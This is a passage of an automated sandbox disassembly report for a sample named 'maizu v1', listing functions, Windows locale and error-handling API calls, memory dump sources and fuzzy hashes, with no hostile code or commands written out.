Opcode Fuzzy Hash: 767331f7b8530db959a1b2f3faa5294f331694e9ae55273026e3eb296b1e459e
Instruction Fuzzy Hash: 45F0F9366001137BDB245764C845ABABFD9EB40754F0404A6EC05A3280FA70FE41D690

Function 00BDC15F Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00BD4C01: GetLastError.KERNEL32(?,00000008,00BD91D2), ref: 00BD4C05
Part of subcall function 00BD4C01: SetLastError.KERNEL32(00000000,00BEB440,00000024,00BD0169), ref: 00BD4CA7

EnumSystemLocalesW.KERNEL32(00BDC43D,00000001,?,?,-00000050,?,00BDC7DF,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 00BDC1A9

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 707b58c998ebecb0cd7294ee2aeaa3c17bd3efbb711fd26bb254a83860b8d1d0
Instruction ID: a082910ef7cc7092f0393cc7e423874580aafa86264e6ad44c676fe52570fb97
Opcode Fuzzy Hash: 707b58c998ebecb0cd7294ee2aeaa3c17bd3efbb711fd26bb254a83860b8d1d0
Instruction Fuzzy Hash: A7F022362003056FCB145F359C81A7ABFD1EF81728F0440AEFA054B782EA72AC02CA10

Function 00BD5ACF Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00BCDB11: EnterCriticalSection.KERNEL32(?,?,00BD48D9,?,00BEB2A0,00000008,00BD4A9D,?,00BCC196,?), ref: 00BCDB20

EnumSystemLocalesW.KERNEL32(00BD5AC2,00000001,00BEB360,0000000C,00BD5E75,00000000), ref: 00BD5B07

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 7443f675558e5010a75058e23e394a8c0b487b16dc0505d8e39a6518feaa5497
Instruction ID: 83d2b4bc57bb4f19544ac247d9e16563d60b1560728e68ba5af9a11bb6b1924b
Opcode Fuzzy Hash: 7443f675558e5010a75058e23e394a8c0b487b16dc0505d8e39a6518feaa5497
Instruction Fuzzy Hash: 62F03776A00204DFD710EF98E882B9DBBF0FB09720F1041AAE4159B3A1DB794A00DB94

Function 00BDC079 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00BD4C01: GetLastError.KERNEL32(?,00000008,00BD91D2), ref: 00BD4C05
Part of subcall function 00BD4C01: SetLastError.KERNEL32(00000000,00BEB440,00000024,00BD0169), ref: 00BD4CA7

EnumSystemLocalesW.KERNEL32(00BDBFD2,00000001,?,?,?,00BDC83D,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00BDC0B0

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: d8ea757000bb07920ebf41fc4f78a866474bf8ecdc70aec87512891a3df788b3
Instruction ID: 3442f2519fde1d6ae0ff44af8e68eee7145f6390d18a4ba64f16e664e8323148
Opcode Fuzzy Hash: d8ea757000bb07920ebf41fc4f78a866474bf8ecdc70aec87512891a3df788b3
Instruction Fuzzy Hash: 2AF0E53A30024597CB08AF35DC55A6AFFE4EFC1724B0A409AFA098B791DA769842C790

Function 00BD5F79 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,00BD2100,?,20001004,00000000,00000002,?,?,00BD1700), ref: 00BD5FAD

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: c02a7a224bb416a3aaace627a545da28c88669b287e4d8b3ac0d6ee73a2f4cf5
Instruction ID: 574754d640bcd24e1d6c305de464bc7373e48b6f6acdf6bd3071b03fe789bab4
Opcode Fuzzy Hash: c02a7a224bb416a3aaace627a545da28c88669b287e4d8b3ac0d6ee73a2f4cf5
Instruction Fuzzy Hash: C3E0863254451CBBCF222F61EC05E9EBF6AEF44760F044052FD056A361DB318E61ABD5

Function 00C19061 Relevance: 1.5, Strings: 1, Instructions: 267COMMON

Download Yara Rule

Strings

P, xrefs: 00C1939F

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID: P
API String ID: 0-3110715001
Opcode ID: 4bfaa7626ea9b600e4b84af23bd05a8ca6e36999e86aa202f38862eca0be855c
Instruction ID: 1bcc26911c98ca182cbec64d5ec844c125e1ae8e4bba01ed49a5d974b927ca49
Opcode Fuzzy Hash: 4bfaa7626ea9b600e4b84af23bd05a8ca6e36999e86aa202f38862eca0be855c
Instruction Fuzzy Hash: FFA106719083419BD704CA15C8A03EFFBE1EB9A350F58491DE59A87392D334CAC1E743

Function 00BF6910 Relevance: 1.5, Strings: 1, Instructions: 265COMMON

Download Yara Rule

Strings

,, xrefs: 00BF6A46

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID: ,
API String ID: 0-3772416878
Opcode ID: 4ab73c068909bf4a579edcd3551088511d35e91c35163eb6544c071a430a9b34
Instruction ID: de752f780210067316c36de4a094f51e4e7003f7ffd06bdf21b1e30ef678b0cf
Opcode Fuzzy Hash: 4ab73c068909bf4a579edcd3551088511d35e91c35163eb6544c071a430a9b34
Instruction Fuzzy Hash: 4CB139711093859FC321CF28C88062BFBE0AFA9704F448E6DE5D997742D671E918CBA7

Function 00BED21A Relevance: 1.5, Strings: 1, Instructions: 264COMMON

Download Yara Rule

Strings

@, xrefs: 00BED800

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 306e642b51b2512054d38a46158e9f08723d7b25d1953b1fc47caece9ac7f322
Instruction ID: 0feb11e7ac6ea87e825e4f875b80f00766f1e7bc54a8d7b51b76e5cb8ad39783
Opcode Fuzzy Hash: 306e642b51b2512054d38a46158e9f08723d7b25d1953b1fc47caece9ac7f322
Instruction Fuzzy Hash: CAA17671A087918BD314CE1AC09436AFBE2AFC4714F198A9DE8EA57395C774DC49CB82

Function 00BC77FF Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000780B,00BC6B10), ref: 00BC7804

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: db902f7c3b808f4b25c6c58944a2f5227f01e2dca87c55ce3bb34f5d6363bdc8
Instruction ID: 703ca1acbbaf95e023ad21394401e84c57314b263d8c52d51621c41e11b51ef9
Opcode Fuzzy Hash: db902f7c3b808f4b25c6c58944a2f5227f01e2dca87c55ce3bb34f5d6363bdc8
Instruction Fuzzy Hash:

Function 00C36500 Relevance: 1.5, Strings: 1, Instructions: 247COMMON

Download Yara Rule

Strings

, xrefs: 00C3655A, 00C36616, 00C365F3, 00C36533, 00C3653B, 00C365FB

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3019521637
Opcode ID: 08d3931baa2a9c42408cb6ec1c64e50b571bbd3c3c2ceb0987ed0c3721af9082
Instruction ID: e34f76a6289f1ea009485289d043aa76ffbdb62f08bec3c081fa96e83050d1d4
Opcode Fuzzy Hash: 08d3931baa2a9c42408cb6ec1c64e50b571bbd3c3c2ceb0987ed0c3721af9082
Instruction Fuzzy Hash: 8181FE35628311ABCB209F18C840A2BB3F5FF85B14F59892CF89697351D731ED50CB82

Function 00C1D390 Relevance: 1.5, Strings: 1, Instructions: 237COMMON

Download Yara Rule

Strings

", xrefs: 00C1D654

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 7e98b4656ee7a597cc4d0ae5467a7c4b97e5a60aa5ade5d03bcc0f57a0d03316
Instruction ID: 9d2080d731d1bc90bcaab3397c6943b22b2ffd5f9f52789998b9bc99210212ab
Opcode Fuzzy Hash: 7e98b4656ee7a597cc4d0ae5467a7c4b97e5a60aa5ade5d03bcc0f57a0d03316
Instruction Fuzzy Hash: 3371E7326087544BD7208D2D888039AB6E2ABC7334F688B29F476CB3E5D775DD85A742

Function 00C33800 Relevance: 1.4, Strings: 1, Instructions: 183COMMON

Download Yara Rule

Strings

, xrefs: 00C338C6, 00C339B0, 00C33983, 00C338A3, 00C338AB, 00C3398B

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3019521637
Opcode ID: caa00a0baa876a8884e4083aa7b8b58c4b77efdead5d9ec54620c567e662e154
Instruction ID: 4ffa257c832768b5eb1b63ccef274f7332e20ab8c9b34e3e0c5bf8d46397857c
Opcode Fuzzy Hash: caa00a0baa876a8884e4083aa7b8b58c4b77efdead5d9ec54620c567e662e154
Instruction Fuzzy Hash: 0551243061C380ABC7149A19CC91B2EB7E6EB85715F148A2CF8E59B3D2C375DE00C796

Function 00C1FADC Relevance: 1.4, Strings: 1, Instructions: 161COMMON

Download Yara Rule

Strings

2FD>, xrefs: 00C20F70

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID: 2FD>
API String ID: 0-1510312430
Opcode ID: 242552adc178d8c3491bf93f30874780fcc0fbb89b54cad1dcff1d541b57b90a
Instruction ID: 1a96dcc471e3157c62d24f9b2e99de0cb0367c0880ea71d787b5f5caae184b3a
Opcode Fuzzy Hash: 242552adc178d8c3491bf93f30874780fcc0fbb89b54cad1dcff1d541b57b90a
Instruction Fuzzy Hash: FD5191704057918FD7268F259050A26FFB1EF17354F28888ED8EA8BA43C739E906CB64

Function 00BFEA4C Relevance: 1.4, Strings: 1, Instructions: 160COMMON

Download Yara Rule

Strings

2, xrefs: 00BFEAE2

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID: 2
API String ID: 0-450215437
Opcode ID: e6034f399045d4b6abb2554f6b82214a593dffe65b117c12c080d18cf511f5b9
Instruction ID: 80223ae2e166bc021148242100a33a79a9bdf7af9d77540cbcf35fb6cca97aa2
Opcode Fuzzy Hash: e6034f399045d4b6abb2554f6b82214a593dffe65b117c12c080d18cf511f5b9
Instruction Fuzzy Hash: BA519F709093809AF231AB109851FFFB6E6BFC6304F04096CE58957283DB36A509DBA7

Function 00BFECDC Relevance: 1.4, Strings: 1, Instructions: 156COMMON

Download Yara Rule

Strings

2, xrefs: 00BFED6B

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID: 2
API String ID: 0-450215437
Opcode ID: 15cde75e9d06dabda2588e85d20db4463443109759951a92bfa7a8f5d5147061
Instruction ID: 8bd34f3d02795be3161d7b44971dfaa8be958aaa8645e00e47859720761cff6c
Opcode Fuzzy Hash: 15cde75e9d06dabda2588e85d20db4463443109759951a92bfa7a8f5d5147061
Instruction Fuzzy Hash: D951BE7450938096F231AB109842FFFB6E6FFC6304F08096CE58957293DB36A509DBA3

Function 00BC1D65 Relevance: 1.4, Strings: 1, Instructions: 156COMMON

Download Yara Rule

Strings

Z81xbyuAua, xrefs: 00BC1E87

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID: Z81xbyuAua
API String ID: 0-3121583705
Opcode ID: dbdfaa3ef2a0bae89110dc03564053d8289e0282ed1abc36e9e72eab383ccdb3
Instruction ID: 14cfbb12b00436a457992f80e755dfa496525a238e86615ca2ce9707ff982850
Opcode Fuzzy Hash: dbdfaa3ef2a0bae89110dc03564053d8289e0282ed1abc36e9e72eab383ccdb3
Instruction Fuzzy Hash: 8A41FA76E1052B5BDB0CEEBC84565AEBBA9DB46350B04467EDD11EB3D2E230CA01C6D0

Function 00C2032F Relevance: 1.4, Strings: 1, Instructions: 141COMMON

Download Yara Rule

Strings

2FD>, xrefs: 00C20F70

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID: 2FD>
API String ID: 0-1510312430
Opcode ID: 482e1bb03dcd7035389772e6bba219ce3904a568faca1742d2efed7deef8c6d7
Instruction ID: 14cb65eec1ab2d6cdb5b14bdcdc2d212ef68b5700fab0d837d6efdf8da01490b
Opcode Fuzzy Hash: 482e1bb03dcd7035389772e6bba219ce3904a568faca1742d2efed7deef8c6d7
Instruction Fuzzy Hash: E64162705047918FD7268F259150A36FFF0AF17358F24888ED4E69BA43C739E906CB54

Function 00C35BA0 Relevance: 1.4, Strings: 1, Instructions: 131COMMON

Download Yara Rule

Strings

, xrefs: 00C35BFF, 00C35CB6, 00C35C93, 00C35BD4, 00C35BDD, 00C35C9B

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3019521637
Opcode ID: 3f681d420308340ce622b70d3801fe125027f74667fc1b293c25dd6169613fb3
Instruction ID: 8a11374700b8a3598dfbd16bdfaa0d39ded0b86e97c7c2eccb368ffb9949d514
Opcode Fuzzy Hash: 3f681d420308340ce622b70d3801fe125027f74667fc1b293c25dd6169613fb3
Instruction Fuzzy Hash: 5541AE34618300AFD7149F14E990B2FFBE6EF8A719F64982CF49997292D335D900CB5A

Function 00C35D30 Relevance: 1.4, Strings: 1, Instructions: 128COMMON

Download Yara Rule

Strings

, xrefs: 00C35D8F, 00C35E46, 00C35E23, 00C35D64, 00C35D6D, 00C35E2B

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3019521637
Opcode ID: 35ff341fea01c2b82f004fdc622a9334d9847dfee3824cdca80f10c1f8328be7
Instruction ID: 0022d001fe683d1da0e6772cb1adf4fadf332ee1ab3d449524a0e3b87ff09a24
Opcode Fuzzy Hash: 35ff341fea01c2b82f004fdc622a9334d9847dfee3824cdca80f10c1f8328be7
Instruction Fuzzy Hash: A4419D74618300AFD7149F14D984B2FBBEAEF86715F64882CF4995B292D339E900CB5A

Function 00C09F35 Relevance: 1.4, Strings: 1, Instructions: 108COMMON

Download Yara Rule

Strings

qs, xrefs: 00C09F9E

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID: qs
API String ID: 0-1399850505
Opcode ID: 8aaebf1e4c3640f5f3ce392bc9914373ba4fadcd76e73042caaaaaebe0853f7e
